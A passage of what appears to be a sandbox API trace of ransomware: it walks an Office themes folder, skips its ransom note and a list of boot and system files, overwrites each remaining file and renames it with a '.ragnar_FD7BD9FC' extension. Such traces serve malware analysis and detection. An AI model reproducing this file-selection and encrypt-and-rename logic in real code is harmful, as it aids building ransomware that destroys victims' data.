cAlternateFileName="")) returned 1 [0077.214] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.214] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80429320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.214] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.214] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0077.214] lstrcmpiW (lpString1="WATER.ELM", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="WATER.ELM", lpString2="..") returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0077.214] lstrcmpiW (lpString1="WATER.INF", lpString2=".") returned 1 [0077.214] lstrcmpiW (lpString1="WATER.INF", lpString2="..") returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0077.214] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80429320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80429320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.214] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.214] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.214] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0077.214] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned=".GIF" [0077.214] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0077.215] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0077.215] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0077.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0077.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.215] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2668) returned 1 [0077.215] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.215] GetProcessHeap () returned 0x580000 [0077.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.216] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.217] VirtualAlloc (lpAddress=0x0, dwSize=0xa6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.218] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.218] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.218] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa6c, lpOverlapped=0x0) returned 1 [0077.218] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.218] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.218] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa6c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa6c, lpOverlapped=0x0) returned 1 [0077.218] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.218] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.218] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.218] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.218] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.218] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.219] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.219] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.219] GetProcessHeap () returned 0x580000 [0077.219] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.219] CloseHandle (hObject=0x10c) returned 1 [0077.219] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" [0077.219] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.ragnar_FD7BD9FC" [0077.219] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.221] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80429320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80429320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.221] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.222] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.222] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.222] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.222] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.222] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.222] lstrcpyW (in: lpString1=0x1eab6c, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0077.222] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned=".PNG" [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0077.222] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0077.222] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0077.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0077.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.223] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=42453) returned 1 [0077.223] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa5cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.223] GetProcessHeap () returned 0x580000 [0077.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.223] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.224] VirtualAlloc (lpAddress=0x0, dwSize=0xa5d5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.224] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.224] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.224] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa5d5, lpOverlapped=0x0) returned 1 [0077.226] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.226] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5d5, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.226] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa5d5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa5d5, lpOverlapped=0x0) returned 1 [0077.226] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5d5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.227] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.227] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa5d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.227] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.227] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.227] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.227] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.227] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.227] GetProcessHeap () returned 0x580000 [0077.227] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.227] CloseHandle (hObject=0x10c) returned 1 [0077.227] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" [0077.227] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0077.227] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.228] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0077.228] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.228] lstrcpyW (in: lpString1=0x1eab6c, lpString2="WATER.ELM" | out: lpString1="WATER.ELM") returned="WATER.ELM" [0077.228] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned=".ELM" [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="autorun.inf") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="boot.ini") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="bootfont.bin") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="bootsect.bak") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="bootmgr") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="bootmgr.efi") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="bootmgfw.efi") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="desktop.ini") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="iconcache.db") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="ntldr") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", 